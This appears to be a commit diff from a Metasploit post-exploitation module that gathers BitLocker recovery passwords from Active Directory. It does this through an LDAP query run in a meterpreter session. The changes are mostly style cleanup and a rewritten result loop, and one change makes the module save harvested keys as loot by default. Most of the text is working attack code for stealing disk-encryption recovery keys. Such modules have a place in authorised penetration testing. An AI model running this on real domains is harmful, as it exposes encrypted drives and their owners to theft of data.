8
8
require 'msf/core/auxiliary/report'
9
9
10
10
class Metasploit3 < Msf ::Post
11
-
12
11
include Msf ::Auxiliary ::Report
13
12
include Msf ::Post ::Windows ::LDAP
14
13
15
- def initialize ( info = { } )
16
- super ( update_info ( info ,
17
- 'Name' => 'Windows Gather Active Directory Bitlocker Recovery' ,
18
- 'Description' => %Q{
19
- This module will enumerate bitlocker reocvery passwords in the default AD
20
- directory. Requires Domain Admin or other delegated privileges.
21
- } ,
22
- 'License' => MSF_LICENSE ,
23
- 'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ] ,
24
- 'Platform' => [ 'win' ] ,
25
- 'SessionTypes' => [ 'meterpreter' ] ,
26
- 'References' =>
27
- [
28
- [ 'URL' , 'tbc' ] ,
29
- ]
30
- ) )
14
+ def initialize ( info = { } )
15
+ super ( update_info ( info ,
16
+ 'Name' => 'Windows Gather Active Directory Bitlocker Recovery' ,
17
+ 'Description' => %(
18
+ This module will enumerate bitlocker reocvery passwords in the default AD
19
+ directory. Requires Domain Admin or other delegated privileges.
20
+ ) ,
21
+ 'License' => MSF_LICENSE ,
22
+ 'Author' => [ 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' ] ,
23
+ 'Platform' => [ 'win' ] ,
24
+ 'SessionTypes' => [ 'meterpreter' ] ,
25
+ 'References' =>
26
+ [
27
+ [ 'URL' , 'https://technet.microsoft.com/en-us/library/cc771778%28v=ws.10%29.aspx' ]
28
+ ]
29
+ ) )
31
30
32
31
register_options ( [
33
- OptBool . new ( 'STORE_LOOT' , [ true , 'Store file in loot.' , false ] ) ,
32
+ OptBool . new ( 'STORE_LOOT' , [ true , 'Store file in loot.' , true ] ) ,
34
33
OptString . new ( 'FIELDS' , [ true , 'FIELDS to retrieve.' , 'distinguishedName,msFVE-RecoveryPassword' ] ) ,
35
34
OptString . new ( 'FILTER' , [ true , 'Search filter.' , '(objectClass=msFVE-RecoveryInformation)' ] )
36
35
] , self . class )
37
36
end
38
37
39
38
def run
40
- fields = datastore [ 'FIELDS' ] . gsub ( /\s +/ , "" ) . split ( ',' )
39
+ fields = datastore [ 'FIELDS' ] . gsub ( /\s +/ , "" ) . split ( ',' )
41
40
search_filter = datastore [ 'FILTER' ]
42
41
max_search = datastore [ 'MAX_SEARCH' ]
43
42
q = query ( search_filter , max_search , fields )
44
43
45
- if q . nil? or q [ :results ] . empty?
44
+ if q . nil? || q [ :results ] . empty?
45
+ print_status ( 'No results found...' )
46
46
return
47
47
end
48
48
49
49
# Results table holds raw string data
50
50
results_table = Rex ::Ui ::Text ::Table . new (
51
- 'Header' => " Bitlocker Recovery Passwords" ,
52
- 'Indent' => 1 ,
53
- 'SortIndex' => -1 ,
54
- 'Columns' => fields
55
- )
51
+ 'Header' => ' Bitlocker Recovery Passwords' ,
52
+ 'Indent' => 1 ,
53
+ 'SortIndex' => -1 ,
54
+ 'Columns' => fields
55
+ )
56
56
57
- # Reports are collections for easy database insertion
58
- reports = [ ]
59
57
q [ :results ] . each do |result |
60
58
row = [ ]
61
59
62
- report = { }
63
- 0 . upto ( fields . length -1 ) do |i |
64
- if result [ i ] . nil?
65
- field = ""
66
- else
67
- field = result [ i ]
68
- end
69
-
70
- row << field
60
+ result . each do |field |
61
+ field_value = ( field . nil? ? '' : field [ :value ] )
62
+ row << field_value
71
63
end
72
64
73
- reports << report
74
65
results_table << row
75
66
end
76
67
@@ -80,6 +71,4 @@ def run
80
71
print_status ( "Results saved to: #{ stored_path } " )
81
72
end
82
73
end
83
-
84
74
end
85
-
0 commit comments